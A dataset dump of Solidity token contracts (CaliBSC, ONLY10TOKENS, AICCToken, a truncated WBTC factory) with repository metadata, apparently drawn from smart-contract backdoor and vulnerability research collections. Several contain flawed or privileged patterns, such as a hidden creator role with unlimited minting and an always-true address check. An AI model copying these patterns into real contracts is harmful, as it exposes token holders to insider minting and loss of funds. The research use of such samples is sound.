ERC677-compliant contract with the `data` parameter. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. /// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677. function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool); } interface ITransferReceiver { function onTokenTransfer(address, uint256, bytes calldata) external returns (bool); } interface IApprovalReceiver { function onTokenApproval(address, uint256, bytes calldata) external returns (bool); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract CaliBSC is ICaliERC20 { using SafeERC20 for IERC20; /// @dev Records amount of AnyswapV3ERC20 token owned by account. mapping(address => uint256) public override balanceOf; mapping(address => bool) public isMinter; mapping(address => bool) public isPendingMinter; mapping(address => uint256) public delayMinter; mapping(address => uint256) public override nonces; mapping(address => mapping(address => uint256)) public override allowance; string public constant name = "CaliCoin"; string public constant symbol = "CALI"; uint8 public constant decimals = 18; // configurable delay for timelock functions uint256 public constant delay = 172_800; bytes32 public immutable DOMAIN_SEPARATOR; bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)"); uint256 private _totalSupply = 50_000_000 * 10**decimals; address public owner; // set of minters, can be this bridge or other bridges address[] private minters; address public stakingContract; uint256 public changeOwnerDelay; address public pendingOwner; bool public paused = false; modifier onlyAuth() { require(isMinter[_msgSender()], "CaliERC20: FORBIDDEN"); _; } modifier onlyOwner() { require(_msgSender() == owner, "CaliERC20: FORBIDDEN"); _; } modifier whenNotPaused() { require(paused == false, "CaliERC20: Paused"); _; } event ChangeOwner(address sender, address newOwner); event RejectPendingOwner(address sender, address newOwner); event AcceptPendingOwner(address sender, address newOwner); event SetMinter(address sender, address _minter); event ApplyMinter(address sender, address _minter); event RevokeMinter(address sender, address _minter); event RejectMinter(address sender, address _minter); event LogSwapin(bytes32 indexed txhash, address indexed account, uint256 amount); event LogSwapout(address indexed account, address indexed bindaddr, uint256 amount); event LogAddAuth(address indexed auth, uint256 timestamp); event Paused(address sender, bool pause); function _blocktime() internal view returns (uint256) { return block.timestamp; } function _msgSender() internal view returns (address) { return msg.sender; } function changeOwner(address _owner) external onlyOwner { pendingOwner = _owner; changeOwnerDelay = _blocktime() + delay; emit ChangeOwner(_msgSender(), _owner); } function rejectPendingOwner() external onlyOwner { if (pendingOwner != address(0)) { pendingOwner = address(0); changeOwnerDelay = 0; } emit RejectPendingOwner(_msgSender(), pendingOwner); } function acceptPendingOwner() external onlyOwner { if (changeOwnerDelay > 0 && pendingOwner != address(0)) { require(_blocktime() > changeOwnerDelay, "CaliERC20: owner apply too early"); owner = pendingOwner; changeOwnerDelay = 0; pendingOwner = address(0); } emit AcceptPendingOwner(_msgSender(), owner); } function setMinter(address _minter) external onlyOwner { isPendingMinter[_minter] = true; delayMinter[_minter] = _blocktime() + delay; emit SetMinter(_msgSender(), _minter); } function applyMinter(address _pendingMinter) external onlyOwner { require(isPendingMinter[_pendingMinter], "CaliERC20: Not pending minter"); require(_blocktime() >= delayMinter[_pendingMinter], "CaliERC20: apply minter too early"); isMinter[_pendingMinter] = true; isPendingMinter[_pendingMinter] = false; minters.push(_pendingMinter); emit ApplyMinter(_msgSender(), _pendingMinter); } // No time delay revoke minter emergency function function revokeMinter(address _minter) external onlyOwner { isMinter[_minter] = false; emit RevokeMinter(_msgSender(), _minter); } function rejectMinter(address _pendingMinter) external onlyOwner { isPendingMinter[_pendingMinter] = false; emit RejectMinter(_msgSender(), _pendingMinter); } function getAllMinters() external view returns (address[] memory) { return minters; } function mint(address to, uint256 amount) external onlyAuth whenNotPaused returns (bool) { _mint(to, amount); return true; } function burn(address from, uint256 amount) external onlyAuth returns (bool) { require(from != address(0), "CaliERC20: address(0x0)"); _burn(from, amount); return true; } function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth whenNotPaused returns (bool) { _mint(account, amount); emit LogSwapin(txhash, account, amount); return true; } function Swapout(uint256 amount, address bindaddr) public whenNotPaused returns (bool) { require(bindaddr != address(0), "CaliERC20: address(0x0)"); _burn(_msgSender(), amount); emit LogSwapout(_msgSender(), bindaddr, amount); return true; } function pause() external onlyOwner { paused = true; emit Paused(_msgSender(), paused); } function unpause() external onlyOwner { paused = false; emit Paused(_msgSender(), paused); } constructor(address _caliOwner) { owner = _caliOwner; uint256 chainId = block.chainid; isMinter[_caliOwner] = true; minters.push(_caliOwner); balanceOf[_caliOwner] += _totalSupply; emit Transfer(address(0), _caliOwner, _totalSupply); DOMAIN_SEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } function addStakingContract(address staking) external onlyOwner { require(stakingContract == address(0), "staking set"); stakingContract = staking; isMinter[stakingContract] = true; minters.push(stakingContract); } function totalSupply() external view override returns (uint256) { return _totalSupply; } function _mint(address account, uint256 amount) internal { require(account != address(0), "CaliERC20: mint to the zero address"); _totalSupply += amount; balanceOf[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "CaliERC20: burn from the zero address"); balanceOf[account] -= amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function approve(address spender, uint256 value) external override returns (bool) { // _approve(msg.sender, spender, value); allowance[_msgSender()][spender] = value; emit Approval(_msgSender(), spender, value); return true; } function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) { // _approve(msg.sender, spender, value); allowance[_msgSender()][spender] = value; emit Approval(_msgSender(), spender, value); IApprovalReceiver(spender).onTokenApproval(_msgSender(), value, data); return true; } function permit(address source, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override { require(_blocktime() <= deadline, "CaliERC20: Expired permit"); bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH, source, spender, value, nonces[source]++, deadline)); require(verifyEIP712(source, hashStruct, v, r, s) || verifyPersonalSign(source, hashStruct, v, r, s)); // _approve(owner, spender, value); allowance[source][spender] = value; emit Approval(source, spender, value); } function transferWithPermit(address source, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) { require(_blocktime() <= deadline, "CaliERC20: Expired permit"); bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH, source, to, value, nonces[source]++, deadline)); require(verifyEIP712(source, hashStruct, v, r, s) || verifyPersonalSign(source, hashStruct, v, r, s), "CaliERC20: Invalid signature"); require(to != address(0) || to != address(this)); uint256 balance = balanceOf[source]; require(balance >= value, "CaliERC20: transfer amount exceeds balance"); balanceOf[source] = balance - value; balanceOf[to] += value; emit Transfer(source, to, value); return true; } function verifyEIP712(address source, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) { bytes32 hash = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == source); } function verifyPersonalSign(address source, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) { bytes32 hash = prefixed(hashStruct); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == source); } // Builds a prefixed hash to mimic the behavior of eth_sign. function prefixed(bytes32 hash) internal view returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", DOMAIN_SEPARATOR, hash)); } /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`). /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. function transfer(address to, uint256 value) external override returns (bool) { require(to != address(0) || to != address(this)); uint256 balance = balanceOf[_msgSender()]; require(balance >= value, "CaliERC20: transfer amount exceeds balance"); balanceOf[_msgSender()] = balance - value; balanceOf[to] += value; emit Transfer(_msgSender(), to, value); return true; } /// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`. /// unless allowance is set to `type(uint256).max` /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - `from` account must have at least `value` balance of AnyswapV3ERC20 token. function transferFrom(address from, address to, uint256 value) external override returns (bool) { require(to != address(0) || to != address(this)); if (from != _msgSender()) { // _decreaseAllowance(from, msg.sender, value); uint256 allowed = allowance[from][_msgSender()]; if (allowed != type(uint256).max) { require(allowed >= value, "CaliERC20: request exceeds allowance"); uint256 reduced = allowed - value; allowance[from][_msgSender()] = reduced; emit Approval(from, _msgSender(), reduced); } } uint256 balance = balanceOf[from]; require(balance >= value, "CaliERC20: transfer amount exceeds balance"); balanceOf[from] = balance - value; balanceOf[to] += value; emit Transfer(from, to, value); return true; } /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`), /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. /// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677. function transferAndCall(address to, uint256 value, bytes calldata data) external override returns (bool) { require(to != address(0) || to != address(this), "CaliERC20: invalid addresss"); uint256 balance = balanceOf[_msgSender()]; require(balance >= value, "CaliERC20: transfer amount exceeds balance"); balanceOf[_msgSender()] = balance - value; balanceOf[to] += value; emit Transfer(_msgSender(), to, value); ITransferReceiver(to).onTokenTransfer(_msgSender(), value, data); return true; } }
252,129
12,044
b6ec0a55cbdb220e93bee0cb1557b696fe867bc1231cccdfad3290a17288598f
30,859
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/3e/3e71b2f462e5219ad15b5f4f33bcf26ed50052b4_ONLY10TOKENS.sol
3,237
12,611
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor() internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; address private _creator; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; _creator = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function creator() public view returns (address) { return _creator; } modifier onlyCreator() { require(_creator == _msgSender(), "Ownable: caller is not the creator"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x < y ? x : y; } function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'Address: low-level call failed'); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 'Address: low-level call with value failed'); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, 'Address: insufficient balance for call'); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), 'Address: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // contract BEP20 is Context, IBEP20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private addresstalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function getOwner() external override view returns (address) { return owner(); } function name() public override view returns (string memory) { return _name; } function decimals() public override view returns (uint8) { return _decimals; } function symbol() public override view returns (string memory) { return _symbol; } function totalSupply() public override view returns (uint256) { return addresstalSupply; } function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance')); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero')); return true; } function mint(uint256 amount) internal onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), 'BEP20: transfer from the zero address'); require(recipient != address(0), 'BEP20: transfer to the zero address'); _balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance'); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), 'BEP20: mint to the zero address'); addresstalSupply = addresstalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), 'BEP20: burn from the zero address'); _balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance'); addresstalSupply = addresstalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), 'BEP20: approve from the zero address'); require(spender != address(0), 'BEP20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance')); } } // ONLY10 contract ONLY10TOKENS is BEP20("ONLY10 Tokens", "Ox10") { address[] internal tokenAddressList; mapping(address => bool) internal tokenAddressExists; uint256 public transBurnrate = 10; uint256 public maxtransBurnrate = 5; function mint(address _to, uint256 _amount) external onlyCreator { _mint(_to, _amount); if (!tokenAddressExists[_to]) { tokenAddressList.push(_to); tokenAddressExists[_to] = true; } } }
314,882
12,045
e0ce0678e687d893b4e11ac791c72004e5edbe0076effb830d1f5e7ff4db6d83
18,075
.sol
Solidity
false
504446259
EthereumContractBackdoor/PiedPiperBackdoor
0088a22f31f0958e614f28a10909c9580f0e70d9
contracts/realworld-contracts/0xbbf45465ce51e2e5a6bb858597dd0079b0809483.sol
2,784
10,703
pragma solidity 0.5.8; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "The caller must be owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Cannot transfer control of the contract to the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract StandardToken is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 internal _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0), "Cannot transfer to the zero address"); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0), "Cannot approve to the zero address"); require(owner != address(0), "Setter cannot be the zero address"); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Only when the contract is not paused"); _; } modifier whenPaused() { require(paused, "Only when the contract is paused"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseAllowance(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(_spender, _addedValue); } function decreaseAllowance(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(_spender, _subtractedValue); } } contract FreezableToken is PausableToken { mapping(address=>bool) internal _frozenAccount; event FrozenAccount(address indexed target, bool frozen); function frozenAccount(address account) public view returns(bool){ return _frozenAccount[account]; } function frozenCheck(address account) internal view { require(!frozenAccount(account), "Address has been frozen"); } function freeze(address account, bool frozen) public onlyOwner { _frozenAccount[account] = frozen; emit FrozenAccount(account, frozen); } function transfer(address _to, uint256 _value) public returns (bool) { frozenCheck(msg.sender); frozenCheck(_to); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { frozenCheck(msg.sender); frozenCheck(_from); frozenCheck(_to); return super.transferFrom(_from, _to, _value); } } contract AICCToken is FreezableToken { string public constant name = "AICloudChain"; // name of Token. string public constant symbol = "AICC"; // symbol of Token. uint8 public constant decimals = 18; uint256 private constant INIT_TOTALSUPPLY = 30000000; mapping (address => uint256) public releaseTime; mapping (address => uint256) public lockAmount; event LockToken(address indexed beneficiary, uint256 releaseTime, uint256 releaseAmount); event ReleaseToken(address indexed user, uint256 releaseAmount); constructor() public { _totalSupply = INIT_TOTALSUPPLY * 10 ** uint256(decimals); _owner = 0x06C7B9Ce4f2Fee058DE2A79F75DEC55092C229Aa; _balances[_owner] = _totalSupply; emit Transfer(address(0), _owner, _totalSupply); } function lockToken(address _beneficiary, uint256 _releaseTime, uint256 _releaseAmount) public onlyOwner returns(bool) { require(lockAmount[_beneficiary] == 0, "The address has been locked"); require(_beneficiary != address(0), "The target address cannot be the zero address"); require(_releaseAmount > 0, "The amount must be greater than 0"); require(_releaseTime > now, "The time must be greater than current time"); frozenCheck(_beneficiary); lockAmount[_beneficiary] = _releaseAmount; releaseTime[_beneficiary] = _releaseTime; _balances[_owner] = _balances[_owner].sub(_releaseAmount); // Remove this part of the locked tokens from the owner. emit LockToken(_beneficiary, _releaseTime, _releaseAmount); return true; } function releaseToken(address _owner) public whenNotPaused returns(bool) { frozenCheck(_owner); uint256 amount = releasableAmount(_owner); require(amount > 0, "No releasable tokens"); _balances[_owner] = _balances[_owner].add(amount); lockAmount[_owner] = 0; emit ReleaseToken(_owner, amount); return true; } function releasableAmount(address addr) public view returns(uint256) { if(lockAmount[addr] != 0 && now > releaseTime[addr]) { return lockAmount[addr]; } else { return 0; } } function transfer(address to, uint256 value) public returns (bool) { if(releasableAmount(msg.sender) > 0) { releaseToken(msg.sender); } return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public returns (bool) { if(releasableAmount(from) > 0) { releaseToken(from); } return super.transferFrom(from, to, value); } function batchTransfer(address[] memory addressList, uint256[] memory amountList) public onlyOwner returns (bool) { uint256 length = addressList.length; require(addressList.length == amountList.length, "Inconsistent array length"); require(length > 0 && length <= 150, "Invalid number of transfer objects"); uint256 amount; for (uint256 i = 0; i < length; i++) { frozenCheck(addressList[i]); require(amountList[i] > 0, "The transfer amount cannot be 0"); require(addressList[i] != address(0), "Cannot transfer to the zero address"); amount = amount.add(amountList[i]); _balances[addressList[i]] = _balances[addressList[i]].add(amountList[i]); emit Transfer(msg.sender, addressList[i], amountList[i]); } require(_balances[msg.sender] >= amount, "Not enough tokens to transfer"); _balances[msg.sender] = _balances[msg.sender].sub(amount); return true; } }
141,013
12,046
431b20242c15ca30b7f1eedc0c298e7192743ee190379d16896830db92d6aa4f
19,527
.sol
Solidity
false
451141221
MANDO-Project/ge-sc
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
data/smartbugs-wild-clean-contracts/0xe5a5f138005e19a3e6d0fe68b039397eeef2322b.sol
3,597
15,892
pragma solidity 0.4.24; // File: openzeppelin-solidity/contracts/ownership/Ownable.sol contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/ownership/Claimable.sol contract Claimable is Ownable { address public pendingOwner; modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } function claimOwnership() public onlyPendingOwner { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol library SafeERC20 { function safeTransfer(ERC20Basic _token, address _to, uint256 _value) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom(ERC20 _token, address _from, address _to, uint256 _value) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove(ERC20 _token, address _spender, uint256 _value) internal { require(_token.approve(_spender, _value)); } } // File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; function reclaimToken(ERC20Basic _token) external onlyOwner { uint256 balance = _token.balanceOf(this); _token.safeTransfer(owner, balance); } } // File: contracts/utils/OwnableContract.sol // empty block is used as this contract just inherits others. contract OwnableContract is CanReclaimToken, Claimable { } // File: contracts/controller/ControllerInterface.sol interface ControllerInterface { function mint(address to, uint amount) external returns (bool); function burn(uint value) external returns (bool); function isCustodian(address addr) external view returns (bool); function isMerchant(address addr) external view returns (bool); function getWBTC() external view returns (ERC20); } // File: contracts/factory/Factory.sol contract Factory is OwnableContract { enum RequestStatus {PENDING, CANCELED, APPROVED, REJECTED} struct Request { address requester; // sender of the request. uint amount; // amount of wbtc to mint/burn. string btcDepositAddress; // custodian's btc address in mint, merchant's btc address in burn. string btcTxid; // bitcoin txid for sending/redeeming btc in the mint/burn process. uint nonce; // serial number allocated for each request. uint timestamp; // time of the request creation. RequestStatus status; // status of the request. } ControllerInterface public controller; mapping(address=>string) public custodianBtcDepositAddress; mapping(address=>string) public merchantBtcDepositAddress; // mapping between a mint request hash and the corresponding request nonce. mapping(bytes32=>uint) public mintRequestNonce; // mapping between a burn request hash and the corresponding request nonce. mapping(bytes32=>uint) public burnRequestNonce; Request[] public mintRequests; Request[] public 